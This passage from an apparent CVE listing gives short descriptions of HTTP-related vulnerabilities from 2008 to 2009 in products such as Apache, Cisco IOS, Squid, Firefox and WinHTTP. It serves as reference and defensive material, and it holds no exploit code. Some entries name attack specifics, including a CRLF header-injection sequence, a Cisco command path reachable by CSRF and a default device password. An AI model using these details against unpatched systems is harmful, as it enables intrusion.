12285| [CVE-2009-1777] CRLF injection vulnerability in FormMail.pl in Matt Wright FormMail 1.92, and possibly earlier, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the redirect parameter.
12286| [CVE-2009-1723] CFNetwork in Apple Mac OS X 10.5 before 10.5.8 places an incorrect URL in a certificate warning in certain 302 redirection scenarios, which makes it easier for remote attackers to trick a user into visiting an arbitrary https web site by leveraging an open redirect vulnerability, a different issue than CVE-2009-2062.
12287| [CVE-2009-1697] CRLF injection vulnerability in WebKit in Apple Safari before 4.0, iPhone OS 1.0 through 2.2.1, and iPhone OS for iPod touch 1.1 through 2.2.1 allows remote attackers to inject HTTP headers and bypass the Same Origin Policy via a crafted HTML document, related to cross-site scripting (XSS) attacks that depend on communication with arbitrary web sites on the same server through use of XMLHttpRequest without a Host header.
12288| [CVE-2009-1677] Multiple static code injection vulnerabilities in the saveFeed function in rss/feedcreator.class.php in Bitweaver 2.6 and earlier allow (1) remote authenticated users to inject arbitrary PHP code into files by placing PHP sequences into the account's "display name" setting and then invoking boards/boards_rss.php, and might allow (2) remote attackers to inject arbitrary PHP code into files via the HTTP Host header in a request to boards/boards_rss.php.
12289| [CVE-2009-1591] CRLF injection vulnerability in CGI RESCUE Web Mailer before 1.04 allows remote attackers to inject arbitrary HTTP headers, and conduct cross-site scripting (XSS) or HTTP response splitting attacks, via CRLF sequences in an unspecified web form.
12290| [CVE-2009-1567] Multiple stack-based buffer overflows in the Lateral Arts Photobox uploader ActiveX control 1.x before 1.3, and 2.2.0.6, allow remote attackers to execute arbitrary code via a long URL string for the (1) LogURL, (2) ConnectURL, (3) SkinURL, (4) AlbumCreateURL, (5) ErrorURL, or (6) httpsinglehost property value.
12291| [CVE-2009-1536] ASP.NET in Microsoft .NET Framework 2.0 SP1 and SP2 and 3.5 Gold and SP1, when ASP 2.0 is used in integrated mode on IIS 7.0, does not properly manage request scheduling, which allows remote attackers to cause a denial of service (daemon outage) via a series of crafted HTTP requests, aka "Remote Unauthenticated Denial of Service in ASP.NET Vulnerability."
12292| [CVE-2009-1523] Directory traversal vulnerability in the HTTP server in Mort Bay Jetty 5.1.14, 6.x before 6.1.17, and 7.x through 7.0.0.M2 allows remote attackers to access arbitrary files via directory traversal sequences in the URI.
12293| [CVE-2009-1477] The https web interfaces on the ATEN KH1516i IP KVM switch with firmware 1.0.063, the KN9116 IP KVM switch with firmware 1.1.104, and the PN9108 power-control unit have a hardcoded SSL private key, which makes it easier for remote attackers to decrypt https sessions by extracting this key from their own switch and then sniffing network traffic to a switch owned by a different customer.
12294| [CVE-2009-1476] Buffer overflow in lib/load_http.c in ippool in Darren Reed IPFilter (aka IP Filter) 4.1.31 allows local users to gain privileges via vectors involving a long hostname in a URL.
12295| [CVE-2009-1425] Unspecified vulnerability in HP ProCurve Threat Management Services zl Module (J9155A) ST.1.0.090213 and earlier allows remote attackers to cause a denial of service by triggering a stop or crash in httpd, aka PR_18770, a different vulnerability than CVE-2009-1423 and CVE-2009-1424.
12296| [CVE-2009-1357] CRLF injection vulnerability in da/DA/Login in Sun Java System Delegated Administrator 6.2 through 6.4 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the HELP_PAGE parameter.
12297| [CVE-2009-1353] Buffer overflow in the http_parse_hex function in libz/misc.c in Zervit Webserver 0.02 allows remote attackers to cause a denial of service (daemon crash) via a long URI, related to http.c.
12298| [CVE-2009-1312] Mozilla Firefox before 3.0.9 and SeaMonkey 1.1.17 do not block javascript: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header or (2) specifying the content of a Refresh header. NOTE: it was later reported that Firefox 3.6 a1 pre and Mozilla 1.7.x and earlier are also affected.
12299| [CVE-2009-1309] Mozilla Firefox before 3.0.9, Thunderbird, and SeaMonkey do not properly implement the Same Origin Policy for (1) XMLHttpRequest, involving a mismatch for a document's principal, and (2) XPCNativeWrapper.toString, involving an incorrect __proto__ scope, which allows remote attackers to conduct cross-site scripting (XSS) attacks and possibly other attacks via a crafted document.
12300| [CVE-2009-1227] ** DISPUTED ** NOTE: this issue has been disputed by the vendor. Buffer overflow in the PKI Web Service in Check Point Firewall-1 PKI Web Service allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long (1) Authorization or (2) Referer HTTP header to TCP port 18624. NOTE: the vendor has disputed this issue, stating "Check Point Security Alert Team has analyzed this report. We've tried to reproduce the attack on all VPN-1 versions from NG FP2 and above with and without HFAs. The issue was not reproduced. We have conducted a thorough analysis of the relevant code and verified that we are secure against this attack. We consider this attack to pose no risk to Check Point customers." In addition, the original researcher, whose reliability is unknown as of 20090407, also states that the issue "was discovered during a pen-test where the client would not allow further analysis."
12301| [CVE-2009-1220] Cross-site scripting (XSS) vulnerability in +webvpn+/index.html in WebVPN on the Cisco Adaptive Security Appliances (ASA) 5520 with software 7.2(4)30 and earlier 7.2 versions including 7.2(2)22, and 8.0(4)28 and earlier 8.0 versions, when clientless mode is enabled, allows remote attackers to inject arbitrary web script or HTML via the Host HTTP header.
12302| [CVE-2009-1211] Blue Coat ProxySG, when transparent interception mode is enabled, uses the HTTP Host header to determine the remote endpoint, which allows remote attackers to bypass access controls for Flash, Java, Silverlight, and probably other technologies, and possibly communicate with restricted intranet sites, via a crafted web page that causes a client to send HTTP requests with a modified Host header.
12303| [CVE-2009-1195] The Apache HTTP Server 2.2.11 and earlier 2.2 versions does not properly handle Options=IncludesNOEXEC in the AllowOverride directive, which allows local users to gain privileges by configuring (1) Options Includes, (2) Options +Includes, or (3) Options +IncludesNOEXEC in a .htaccess file, and then inserting an exec element in a .shtml file.
12304| [CVE-2009-1191] mod_proxy_ajp.c in the mod_proxy_ajp module in the Apache HTTP Server 2.2.11 allows remote attackers to obtain sensitive response data, intended for a client that sent an earlier POST request with no request body, via an HTTP request.
12305| [CVE-2009-1167] Unspecified vulnerability on the Cisco Wireless LAN Controller (WLC) platform 4.x before 4.2.205.0 and 5.x before 5.2.191.0, as used in Cisco 1500 Series, 2000 Series, 2100 Series, 4100 Series, 4200 Series, and 4400 Series Wireless Services Modules (WiSM), WLC Modules for Integrated Services Routers, and Catalyst 3750G Integrated Wireless LAN Controllers, allows remote attackers to modify the configuration via a crafted (1) HTTP or (2) HTTPS request, aka Bug ID CSCsy44672.
12306| [CVE-2009-1166] The administrative web interface on the Cisco Wireless LAN Controller (WLC) platform 4.x before 4.2.205.0 and 5.x before 5.2.191.0, as used in Cisco 1500 Series, 2000 Series, 2100 Series, 4100 Series, 4200 Series, and 4400 Series Wireless Services Modules (WiSM), WLC Modules for Integrated Services Routers, and Catalyst 3750G Integrated Wireless LAN Controllers, allows remote attackers to cause a denial of service (device reload) via a crafted (1) HTTP or (2) HTTPS request, aka Bug ID CSCsy27708.
12307| [CVE-2009-1164] The administrative web interface on the Cisco Wireless LAN Controller (WLC) platform 4.2 before 4.2.205.0 and 5.x before 5.2.178.0, as used in Cisco 1500 Series, 2000 Series, 2100 Series, 4100 Series, 4200 Series, and 4400 Series Wireless Services Modules (WiSM), WLC Modules for Integrated Services Routers, and Catalyst 3750G Integrated Wireless LAN Controllers, allows remote attackers to cause a denial of service (device reload) via a malformed response to a (1) HTTP or (2) HTTPS authentication request, aka Bug ID CSCsx03715.
12308| [CVE-2009-1156] Unspecified vulnerability on Cisco Adaptive Security Appliances (ASA) 5500 Series devices 8.0 before 8.0(4)25 and 8.1 before 8.1(2)15, when an SSL VPN or ASDM access is configured, allows remote attackers to cause a denial of service (device reload) via a crafted (1) SSL or (2) HTTP packet.
12309| [CVE-2009-1149] CRLF injection vulnerability in bs_disp_as_mime_type.php in the BLOB streaming feature in phpMyAdmin before 3.1.3.1 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the (1) c_type and possibly (2) file_type parameters.
12310| [CVE-2009-1135] Microsoft Internet Security and Acceleration (ISA) Server 2006 Gold and SP1, when Radius OTP is enabled, uses the HTTP-Basic authentication method, which allows remote attackers to gain the privileges of an arbitrary account, and access published web pages, via vectors involving attempted access to a network resource behind the ISA Server, aka "Radius OTP Bypass Vulnerability."
12311| [CVE-2009-1122] The WebDAV extension in Microsoft Internet Information Services (IIS) 5.0 on Windows 2000 SP4 does not properly decode URLs, which allows remote attackers to bypass authentication, and possibly read or create files, via a crafted HTTP request, aka "IIS 5.0 WebDAV Authentication Bypass Vulnerability," a different vulnerability than CVE-2009-1535.
12312| [CVE-2009-1101] Unspecified vulnerability in the lightweight HTTP server implementation in Java SE Development Kit (JDK) and Java Runtime Environment (JRE) 6 Update 12 and earlier allows remote attackers to cause a denial of service (probably resource consumption) for a JAX-WS service endpoint via a connection without any data, which triggers a file descriptor "leak."
12313| [CVE-2009-1066] SQL injection vulnerability in the referral function in admin/lib/lib_logs.php in Pixie CMS 1.01a allows remote attackers to execute arbitrary SQL commands via the Referer HTTP header in a request.
12314| [CVE-2009-1048] The web interface on the snom VoIP phones snom 300, snom 320, snom 360, snom 370, and snom 820 with firmware 6.5 before 6.5.20, 7.1 before 7.1.39, and 7.3 before 7.3.14 allows remote attackers to bypass authentication, and reconfigure the phone or make arbitrary use of the phone, via a (1) http or (2) https request with 127.0.0.1 in the Host header.
12315| [CVE-2009-1030] Cross-site scripting (XSS) vulnerability in the choose_primary_blog function in wp-includes/wpmu-functions.php in WordPress MU (WPMU) before 2.7 allows remote attackers to inject arbitrary web script or HTML via the HTTP Host header.
12316| [CVE-2009-1012] Unspecified vulnerability in the plug-ins for Apache and IIS web servers in Oracle BEA WebLogic Server 7.0 Gold through SP7, 8.1 Gold through SP6, 9.0, 9.1, 9.2 Gold through MP3, 10.0 Gold through MP1, and 10.3 allows remote attackers to affect confidentiality, integrity, and availability. NOTE: the previous information was obtained from the April 2009 CPU. Oracle has not commented on claims from a reliable researcher that this is an integer overflow in an unspecified plug-in that parses HTTP requests, which leads to a heap-based buffer overflow.
12317| [CVE-2009-0993] Unspecified vulnerability in the OPMN component in Oracle Application Server 10.1.2.3 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the April 2009 CPU. Oracle has not commented on reliable researcher claims that this issue is a format string vulnerability that allows remote attackers to execute arbitrary code via format string specifiers in an HTTP POST URI, which are not properly handled when logging to opmn/logs/opmn.log.
12318| [CVE-2009-0921] Multiple heap-based buffer overflows in OvCgi/Toolbar.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allow remote attackers to execute arbitrary code via (1) a long OvAcceptLang cookie, which triggers the error in ov.dll and ovwww.dll, or (2) a long Accept-Language HTTP header, which triggers the error in ovwww.dll or libovwww.so.4.
12319| [CVE-2009-0918] Multiple unspecified vulnerabilities in DFLabs PTK 1.0.0 through 1.0.4 allow remote attackers to execute arbitrary commands in processes launched by PTK's Apache HTTP Server via (1) "external tools" or (2) a crafted forensic image.
12320| [CVE-2009-0898] Stack-based buffer overflow in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary code via a crafted HTTP request.
12321| [CVE-2009-0868] CRLF injection vulnerability in the WebLink template in Fujitsu Jasmine2000 Enterprise Edition allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
12322| [CVE-2009-0840] Heap-based buffer underflow in the readPostBody function in cgiutil.c in mapserv in MapServer 4.x before 4.10.4 and 5.x before 5.2.2 allows remote attackers to have an unknown impact via a negative value in the Content-Length HTTP header.
12323| [CVE-2009-0804] Ziproxy 2.6.0, when transparent interception mode is enabled, uses the HTTP Host header to determine the remote endpoint, which allows remote attackers to bypass access controls for Flash, Java, Silverlight, and probably other technologies, and possibly communicate with restricted intranet sites, via a crafted web page that causes a client to send HTTP requests with a modified Host header.
12324| [CVE-2009-0803] SmoothWall SmoothGuardian, as used in SmoothWall Firewall, NetworkGuardian, and SchoolGuardian 2008, when transparent interception mode is enabled, uses the HTTP Host header to determine the remote endpoint, which allows remote attackers to bypass access controls for Flash, Java, Silverlight, and probably other technologies, and possibly communicate with restricted intranet sites, via a crafted web page that causes a client to send HTTP requests with a modified Host header.
12325| [CVE-2009-0802] Qbik WinGate, when transparent interception mode is enabled, uses the HTTP Host header to determine the remote endpoint, which allows remote attackers to bypass access controls for Flash, Java, Silverlight, and probably other technologies, and possibly communicate with restricted intranet sites, via a crafted web page that causes a client to send HTTP requests with a modified Host header.
12326| [CVE-2009-0801] Squid, when transparent interception mode is enabled, uses the HTTP Host header to determine the remote endpoint, which allows remote attackers to bypass access controls for Flash, Java, Silverlight, and probably other technologies, and possibly communicate with restricted intranet sites, via a crafted web page that causes a client to send HTTP requests with a modified Host header.
12327| [CVE-2009-0796] Cross-site scripting (XSS) vulnerability in Status.pm in Apache::Status and Apache2::Status in mod_perl1 and mod_perl2 for the Apache HTTP Server, when /perl-status is accessible, allows remote attackers to inject arbitrary web script or HTML via the URI.
12328| [CVE-2009-0693] Multiple buffer overflows in Wyse Device Manager (WDM) 4.7.x allow remote attackers to execute arbitrary code via (1) the User-Agent HTTP header to hserver.dll or (2) unspecified input to hagent.exe.
12329| [CVE-2009-0644] The HTTP interface in Swann DVR4-SecuraNet has a certain default administrative username and password, which makes it easier for remote attackers to obtain privileged access.
12330| [CVE-2009-0626] The SSLVPN feature in Cisco IOS 12.3 through 12.4 allows remote attackers to cause a denial of service (device reload or hang) via a crafted HTTPS packet.
12331| [CVE-2009-0551] Microsoft Internet Explorer 6 SP1, 6 and 7 on Windows XP SP2 and SP3, 6 and 7 on Windows Server 2003 SP1 and SP2, 7 on Windows Vista Gold and SP1, and 7 on Windows Server 2008 does not properly handle transition errors in a request for one HTTP document followed by a request for a second HTTP document, which allows remote attackers to execute arbitrary code via vectors involving (1) multiple crafted pages on a web site or (2) a web page with crafted inline content such as banner advertisements, aka "Page Transition Memory Corruption Vulnerability."
12332| [CVE-2009-0550] Windows HTTP Services (aka WinHTTP) in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, and Server 2008
12333| [CVE-2009-0478] Squid 2.7 to 2.7.STABLE5, 3.0 to 3.0.STABLE12, and 3.1 to 3.1.0.4 allows remote attackers to cause a denial of service via an HTTP request with an invalid version number, which triggers a reachable assertion in (1) HttpMsg.c and (2) HttpStatusLine.c.
12334| [CVE-2009-0471] Cross-site request forgery (CSRF) vulnerability in the HTTP server in Cisco IOS 12.4(23) allows remote attackers to execute arbitrary commands, as demonstrated by executing the hostname command with a level/15/configure/-/hostname request.
12335| [CVE-2009-0470] Multiple cross-site scripting (XSS) vulnerabilities in the HTTP server in Cisco IOS 12.4(23) allow remote attackers to inject arbitrary web script or HTML via the PATH_INFO to the default URI under (1) level/15/exec/-/ or (2) exec/, a different vulnerability than CVE-2008-3821.
12336| [CVE-2009-0436] The (1) mod_ibm_ssl and (2) mod_cgid modules in IBM HTTP Server 6.0.x before 6.0.2.31 and 6.1.x before 6.1.0.19, as used in WebSphere Application Server (WAS), set incorrect permissions for AF_UNIX sockets, which has unknown impact and local attack vectors.
12337| [CVE-2009-0433] Unspecified vulnerability in IBM WebSphere Application Server (WAS) 5.1.x before 5.1.1.19, 6.0.x before 6.0.2.29, and 6.1.x before 6.1.0.19, when Web Server plug-in content buffering is enabled, allows attackers to cause a denial of service (daemon crash) via unknown vectors, related to a mishandling of client read failures in which clients receive many 500 HTTP error responses and backend servers are incorrectly labeled as down.
12338| [CVE-2009-0419] Microsoft XML Core Services, as used in Microsoft Expression Web, Office, Internet Explorer 6 and 7, and other products, does not properly restrict access from web pages to Set-Cookie2 HTTP response headers, which allows remote attackers to obtain sensitive information from cookies via XMLHttpRequest calls, related to the HTTPOnly protection mechanism. NOTE: this issue reportedly exists because of an incomplete fix for CVE-2008-4033.
12339| [CVE-2009-0411] Google Chrome before 1.0.154.46 does not properly restrict access from web pages to the (1) Set-Cookie and (2) Set-Cookie2 HTTP response headers, which allows remote attackers to obtain sensitive information from cookies via XMLHttpRequest calls and other web script.
12340| [CVE-2009-0358] Mozilla Firefox 3.x before 3.0.6 does not properly implement the (1) no-store and (2) no-cache Cache-Control directives, which allows local users to obtain sensitive information by using the (a) back button or (b) history list of the victim's browser, as demonstrated by reading the response page of an https POST request.
12341| [CVE-2009-0357] Mozilla Firefox before 3.0.6 and SeaMonkey before 1.1.15 do not properly restrict access from web pages to the (1) Set-Cookie and (2) Set-Cookie2 HTTP response headers, which allows remote attackers to obtain sensitive information from cookies via XMLHttpRequest calls, related to the HTTPOnly protection mechanism.
12342| [CVE-2009-0321] Apple Safari 3.2.1 (aka AppVer 3.525.27.1) on Windows allows remote attackers to cause a denial of service (infinite loop or access violation) via a link to an http URI in which the authority (aka hostname) portion is either a (1) . (dot) or (2) .. (dot dot) sequence.
12343| [CVE-2009-0192] Off-by-one error in the iMonitor component in Novell eDirectory 8.8 SP3, 8.8 SP3 FTF3, and possibly other versions allows remote attackers to execute arbitrary code via an HTTP request with a crafted Accept-Language header, which triggers a stack-based buffer overflow.
12344| [CVE-2009-0187] Stack-based buffer overflow in Orbit Downloader 2.8.2 and 2.8.3, and possibly other versions before 2.8.5, allows remote attackers to execute arbitrary code via a crafted HTTP URL with a long host name, which is not properly handled when constructing a "Connecting" log message.
12345| [CVE-2009-0183] Stack-based buffer overflow in Remote Control Server in Free Download Manager (FDM) 2.5 Build 758 and 3.0 Build 844 allows remote attackers to execute arbitrary code via a long Authorization header in an HTTP request.
12346| [CVE-2009-0182] Buffer overflow in VUPlayer 2.49 and earlier allows user-assisted attackers to execute arbitrary code via a long URL in a File line in a .pls file, as demonstrated by an http URL on a File1 line.
12347| [CVE-2009-0164] The web interface for CUPS before 1.3.10 does not validate the HTTP Host header in a client request, which makes it easier for remote attackers to conduct DNS rebinding attacks.
12348| [CVE-2009-0157] Heap-based buffer overflow in CFNetwork in Apple Mac OS X 10.5 before 10.5.7 allows remote web servers to execute arbitrary code or cause a denial of service (application crash) via long HTTP headers.
12349| [CVE-2009-0144] CFNetwork in Apple Mac OS X 10.5 before 10.5.7 does not properly parse noncompliant Set-Cookie headers, which allows remote attackers to obtain sensitive information by sniffing the network for "secure cookies" that are sent over unencrypted HTTP connections.
12350| [CVE-2009-0113] Directory traversal vulnerability in attachmentlibrary.php in the XStandard component for Joomla! 1.5.8 and earlier allows remote attackers to list arbitrary directories via a .. (dot dot) in the X_CMS_LIBRARY_PATH HTTP header.
12351| [CVE-2009-0089] Windows HTTP Services (aka WinHTTP) in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, and Vista Gold allows remote web servers to impersonate arbitrary https web sites by using DNS spoofing to "forward a connection" to a different https web site that has a valid certificate matching its own domain name, but not a certificate matching the domain name of the host requested by the user, aka "Windows HTTP Services Certificate Name Mismatch Vulnerability."
12352| [CVE-2009-0086] Integer underflow in Windows HTTP Services (aka WinHTTP) in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, and Server 2008 allows remote HTTP servers to execute arbitrary code via crafted parameter values in a response, related to error handling, aka "Windows HTTP Services Integer Underflow Vulnerability."
12353| [CVE-2009-0037] The redirect implementation in curl and libcurl 5.11 through 7.19.3, when CURLOPT_FOLLOWLOCATION is enabled, accepts arbitrary Location values, which might allow remote HTTP servers to (1) trigger arbitrary requests to intranet servers, (2) read or overwrite arbitrary files via a redirect to a file: URL, or (3) execute arbitrary commands via a redirect to an scp: URL.
12354| [CVE-2009-0033] Apache Tomcat 4.1.0 through 4.1.39, 5.5.0 through 5.5.27, and 6.0.0 through 6.0.18, when the Java AJP connector and mod_jk load balancing are used, allows remote attackers to cause a denial of service (application outage) via a crafted request with invalid headers, related to temporary blocking of connectors that have encountered errors, as demonstrated by an error involving a malformed HTTP Host header.
12355| [CVE-2009-0023] The apr_strmatch_precompile function in strmatch/apr_strmatch.c in Apache APR-util before 1.3.5 allows remote attackers to cause a denial of service (daemon crash) via crafted input involving (1) a .htaccess file used with the Apache HTTP Server, (2) the SVNMasterURI directive in the mod_dav_svn module in the Apache HTTP Server, (3) the mod_apreq2 module for the Apache HTTP Server, or (4) an application that uses the libapreq2 library, which triggers a heap-based buffer underflow.
12356| [CVE-2008-7312] The Filtering Service in Websense Enterprise 5.2 through 6.3 does not consider the IP address during URL categorization, which makes it easier for remote attackers to bypass filtering via an HTTP request, as demonstrated by a request to a compromised server associated with a specific IP address.
12357| [CVE-2008-7298] The Android browser in Android cannot properly restrict modifications to cookies established in HTTPS sessions, which allows man-in-the-middle attackers to overwrite or delete arbitrary cookies via a Set-Cookie header in an HTTP response, related to lack of the HTTP Strict Transport Security (HSTS) includeSubDomains feature, aka a "cookie forcing" issue.
12358| [CVE-2008-7297] Opera cannot properly restrict modifications to cookies established in HTTPS sessions, which allows man-in-the-middle attackers to overwrite or delete arbitrary cookies via a Set-Cookie header in an HTTP response, related to lack of the HTTP Strict Transport Security (HSTS) includeSubDomains feature, aka a "cookie forcing" issue.
12359| [CVE-2008-7296] Apple Safari cannot properly restrict modifications to cookies established in HTTPS sessions, which allows man-in-the-middle attackers to overwrite or delete arbitrary cookies via a Set-Cookie header in an HTTP response, related to lack of the HTTP Strict Transport Security (HSTS) includeSubDomains feature, aka a "cookie forcing" issue.
12360| [CVE-2008-7295] Microsoft Internet Explorer cannot properly restrict modifications to cookies established in HTTPS sessions, which allows man-in-the-middle attackers to overwrite or delete arbitrary cookies via a Set-Cookie header in an HTTP response, related to lack of the HTTP Strict Transport Security (HSTS) includeSubDomains feature, aka a "cookie forcing" issue.
12361| [CVE-2008-7294] Google Chrome before 4.0.211.0 cannot properly restrict modifications to cookies established in HTTPS sessions, which allows man-in-the-middle attackers to overwrite or delete arbitrary cookies via a Set-Cookie header in an HTTP response, related to lack of the HTTP Strict Transport Security (HSTS) includeSubDomains feature, aka a "cookie forcing" issue.
12362| [CVE-2008-7293] Mozilla Firefox before 4 cannot properly restrict modifications to cookies established in HTTPS sessions, which allows man-in-the-middle attackers to overwrite or delete arbitrary cookies via a Set-Cookie header in an HTTP response, related to lack of the HTTP Strict Transport Security (HSTS) includeSubDomains feature, aka a "cookie forcing" issue.
12363| [CVE-2008-7257] CRLF injection vulnerability in +webvpn+/index.html in WebVPN on Cisco Adaptive Security Appliances (ASA) 5580 series devices with software before 8.1(2) allows remote attackers to inject arbitrary HTTP headers as demonstrated by a redirect attack involving a %0d%0aLocation%3a sequence in a URI, or conduct HTTP response splitting attacks via unspecified vectors, aka Bug ID CSCsr09163.
12364| [CVE-2008-7253] The default configuration of the web server in IBM Lotus Domino Server, possibly 6.0 through 8.0, enables the HTTP TRACE method, which makes it easier for remote attackers to steal cookies and authentication credentials via a cross-site tracing (XST) attack, a related issue to CVE-2004-2763 and CVE-2005-3398.
12365| [CVE-2008-7249] Buffer overflow in Squid Analysis Report Generator (Sarg) 2.2.3.1, and probably later, allows user-assisted remote attackers to execute arbitrary code via a long HTTP request method in a crafted access.log file, a different vulnerability than CVE-2008-1167.
12366| [CVE-2008-7195] Unspecified vulnerability in Fujitsu Interstage HTTP Server, as used in Interstage Application Server Enterprise Edition 7.0.1 for Solaris, allows attackers to cause a denial of service via unknown vectors related to SSL.
12367| [CVE-2008-7194] Unspecified vulnerability in Fujitsu Interstage HTTP Server, as used in Interstage Application Server 5.0, 7.0, 7.0.1, and 8.0.0 for Windows, allows attackers to cause a denial of service via a crafted request.
12368| [CVE-2008-7193] PHPKIT 1.6.4 PL1 includes the session ID in the URL, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks by reading the PHPKITSID parameter from the HTTP Referer and using it in a request to (1) modify the user profile via upload_files/include.php or (2) create a new administrator via upload_files/pk/include.php.
12369| [CVE-2008-7161] Fortinet FortiGuard Fortinet FortiGate-1000 3.00 build 040075,070111 allows remote attackers to bypass URL filtering via fragmented GET or POST requests that use HTTP/1.0 without the Host header. NOTE: this issue might be related to CVE-2005-3058.
12370| [CVE-2008-7160] The silc_http_server_parse function in lib/silchttp/silchttpserver.c in the internal HTTP server in silcd in Secure Internet Live Conferencing (SILC) Toolkit before 1.1.9 allows remote attackers to overwrite a stack location and possibly execute arbitrary code via a crafted Content-Length header, related to incorrect use of a %lu format string.
12371| [CVE-2008-7153] SQL injection vulnerability in the autoDetectRegion function in doceboCore/lib/lib.regset.php in Docebo 3.5.0.3 and earlier allows remote attackers to execute arbitrary SQL commands via the Accept-Language HTTP header. NOTE: this can be leveraged to execute arbitrary PHP code using the INTO DUMPFILE command.
12372| [CVE-2008-7082] MyBB (aka MyBulletinBoard) 1.4.3 includes the sensitive my_post_key parameter in URLs to moderation.php with the (1) mergeposts, (2) split, and (3) deleteposts actions, which allows remote attackers to steal the token and bypass the cross-site request forgery (CSRF) protection mechanism to hijack the authentication of moderators by reading the token from the HTTP Referer header.
12373| [CVE-2008-7078] Multiple buffer overflows in Rumpus before 6.0.1 allow remote attackers to (1) cause a denial of service (segmentation fault) via a long HTTP verb in the HTTP component
12374| [CVE-2008-7025] TrueVector in Check Point ZoneAlarm 8.0.020.000, with vsmon.exe running, allows remote HTTP proxies to cause a denial of service (crash) and disable the HIDS module via a crafted response.
12375| [CVE-2008-7014] fhttpd 0.4.2 allows remote attackers to cause a denial of service (crash) via an Authorization HTTP header with an invalid character after the Basic value.
12376| [CVE-2008-6994] Stack-based buffer overflow in the SaveAs feature (SaveFileAsWithFilter function) in win_util.cc in Google Chrome 0.2.149.27 allows user-assisted remote attackers to execute arbitrary code via a web page with a long TITLE element, which triggers the overflow when the user saves the page and a long filename is generated. NOTE: it might be possible to exploit this issue via an HTTP response that includes a long filename in a Content-Disposition header.
12377| [CVE-2008-6983] modules/tool/hitcounter.php in devalcms 1.4a allows remote attackers to execute arbitrary PHP code via the HTTP Referer header with a target file specified in the gv_folder_data parameter, as demonstrated by modifying modules/tool/url2header.php.
12378| [CVE-2008-6898] Buffer overflow in the XHTTP Module 4.1.0.0 in the ActiveX control for SaschArt SasCam Webcam Server 2.6.5 allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a long argument to the Get method and other unspecified methods.
12379| [CVE-2008-6882] Live Chat (com_livechat) component 1.0 for Joomla! allows remote attackers to use the xmlhttp.php script as an open HTTP proxy to hide network scanning activities or scan internal networks via a GET request with a full URL in the query string.
12380| [CVE-2008-6727] Cross-site scripting (XSS) vulnerability in Ultimate PHP Board (UPB) 2.2.2, 2.2.1, and earlier 2.x versions allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
12381| [CVE-2008-6712] The HTTP/XML-RPC service in Crysis 1.21 (game version 1.1.1.6156) and earlier allows remote attackers to cause a denial of service (crash) via a long HTTP request, which triggers a NULL pointer dereference.
12382| [CVE-2008-6645] Cross-site scripting (XSS) vulnerability in Opencosmo VisualSentinel 0.7 allows remote attackers to inject arbitrary web script or HTML via the User-Agent header ($_SERVER ['HTTP_USER_AGENT']), which is not properly handled when displaying log files.
12383| [CVE-2008-6638] Insecure method vulnerability in the Versalsoft HTTP Image Uploader ActiveX control (UUploaderSvrD.dll 6.0.0.35) allows remote attackers to delete arbitrary files via the RemoveFileOrDir method.
12384| [CVE-2008-6632] SQL injection vulnerability in func/login.php in MercuryBoard 1.1.5 and earlier allows remote attackers to execute arbitrary SQL commands via the User-Agent HTTP header ($_SERVER['HTTP_USER_AGENT']).
12385| [CVE-2008-6497] The Neostrada Livebox ADSL Router allows remote attackers to cause a denial of service (network outage) via multiple HTTP requests for the /- URI.
12386| [CVE-2008-6475] SQL injection vulnerability in the guestbook component (components/guestbook/guestbook.php) in Drake CMS 0.4.11 and earlier allows remote attackers to execute arbitrary SQL commands via the Via HTTP header (HTTP_VIA) to index.php.
12387| [CVE-2008-6428] The CGI framework in Kaya 0.4.0 allows remote attackers to inject arbitrary HTTP headers and conduct cross-site scripting (XSS) attacks via unspecified vectors.
12388| [CVE-2008-6395] The web management interface in 3Com Wireless 8760 Dual Radio 11a/b/g PoE Access Point allows remote attackers to cause a denial of service (device crash) via a malformed HTTP POST request.
12389| [CVE-2008-6298] Unspecified vulnerability in sISAPILocation before 1.0.2.2 allows remote attackers to bypass intended access restrictions for character encoding and the cookie secure flag via unknown vectors related to the "HTTP header rewrite function."
12390| [CVE-2008-6171] includes/bootstrap.inc in Drupal 5.x before 5.12 and 6.x before 6.6, when the server is configured for "IP-based virtual hosts," allows remote attackers to include and execute arbitrary files via the HTTP Host header.
12391| [CVE-2008-6121] CRLF injection vulnerability in SocialEngine (SE) 2.7 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the PHPSESSID cookie.
12392| [CVE-2008-6059] xml/XMLHttpRequest.cpp in WebCore in WebKit before r38566 does not properly restrict access from web pages to the (1) Set-Cookie and (2) Set-Cookie2 HTTP response headers, which allows remote attackers to obtain sensitive information from cookies via XMLHttpRequest calls, related to the HTTPOnly protection mechanism.
12393| [CVE-2008-5905] The web interface plugin in KTorrent before 3.1.4 allows remote attackers to bypass intended access restrictions and upload arbitrary torrent files, and trigger the start of downloads and seeding, via a crafted HTTP POST request.
12394| [CVE-2008-5848] The Advantech ADAM-6000 module has 00000000 as its default password, which makes it easier for remote attackers to obtain access through an HTTP session, and (1) monitor or (2) control the module's Modbus/TCP I/O activity.
12395| [CVE-2008-5825] The SmartPoster implementation on the Nokia 6131 Near Field Communication (NFC) phone with 05.12 firmware does not properly display the URI record when the Title record contains a certain combination of space, CR (aka \r), and . (dot) characters, which allows remote attackers to trick a user into loading an arbitrary URI via a crafted NDEF tag, as demonstrated by (1) an http: URI for a malicious web site, (2) a tel: URI for a premium-rate telephone number, and (3) an sms: URI that triggers purchase of a ringtone.
